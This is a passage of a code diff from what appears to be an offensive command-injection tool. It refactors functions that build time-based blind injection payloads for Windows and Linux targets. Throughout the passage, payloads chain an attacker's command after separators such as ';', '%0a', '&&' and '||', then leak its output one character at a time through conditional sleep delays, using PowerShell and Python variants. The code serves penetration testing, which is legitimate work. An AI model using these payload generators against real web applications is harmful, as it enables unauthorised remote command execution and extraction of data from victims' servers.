settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") + payload = checks.payload_newline_fixation(payload) return payload @@ -178,70 +145,62 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass - else: - if separator == ";" : - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - #"str1=${%23str}" + separator + - "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + if separator == ";" or separator == "%0a": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + - #"str1=${%23str}" + separator + - "if [ " + str(output_length) + " != $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + - "str=$(echo $(" + cmd + "))" + separator + + payload = (ampersand + + "sleep 0" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length $str)" + separator + - #"str1=${%23str} " + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length $" + settings.RANDOM_VAR_GENERATOR + ")" + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " != $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " +str(output_length)+ " -ne " + settings.CMD_SUB_PREFIX + "echo -n \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + + pipe + "tr -d '\\n' " + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) ) else: @@ -253,157 +212,129 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(output_length) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(output_length) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: - if separator == ";" : - payload = (separator + - # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) + else: + pass - elif separator == "%0a" : - separator = "\n" - payload = (separator + + else: + settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a": + payload = (separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "if [ " + str(output_length) + " != ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + + payload = (ampersand + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) - elif separator == "||" : pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " != $(python -c \"print len(\'$(echo $(" + cmd + "))\')\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - + payload = checks.payload_newline_fixation(payload) return payload + """ Get the execution output, of shell execution. """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" - ) - - else: - if separator == ";" : - payload = (separator + - # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + - # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + - # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass - elif separator == "%0a" : - separator = "\n" - payload = (separator + + else: + cmd_exec = cmd + if settings.USE_BACKTICKS: + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a" : + payload = (separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + + payload = (ampersand + + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. - "str=$(printf %25d \"'$char'\")" + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(" + cmd + pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -413,140 +344,116 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\"" - if separator == "||" : - payload = (separator + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - else: - if separator == ";" : - payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " - ) + else: + pass - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + else: + settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + # "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + payload = (ampersand + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != $(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - + else: pass - # New line fixation - if settings.USER_AGENT_INJECTION == True or \ - settings.REFERER_INJECTION == True or \ - settings.HOST_INJECTION == True or \ - settings.CUSTOM_HEADER_INJECTION == True: - payload = payload.replace("\n",";") - + payload = checks.payload_newline_fixation(payload) return payload """ Get the execution output, of shell execution. """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) + else: + pass else: - if separator == ";" : - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " + if separator == ";" or separator == "%0a": + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + + # "then sleep 0" + separator + + "then sleep " + str(timesec) + separator + + "fi" ) - - elif separator == "%0a" : - separator = "\n" - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " != $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + - "fi " - ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + payload = (ampersand + + "sleep 0 " + separator + + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + + "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) - - #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " != \"$(" + cmd + ")\" ] " + separator + + "[ " + str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -556,74 +463,56 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(ascii_char) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + if settings.TARGET_OS == settings.OS.WINDOWS: + if separator == "|" or separator == "||" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + + cmd + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do if %i==" +str(ascii_char) + " " + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + 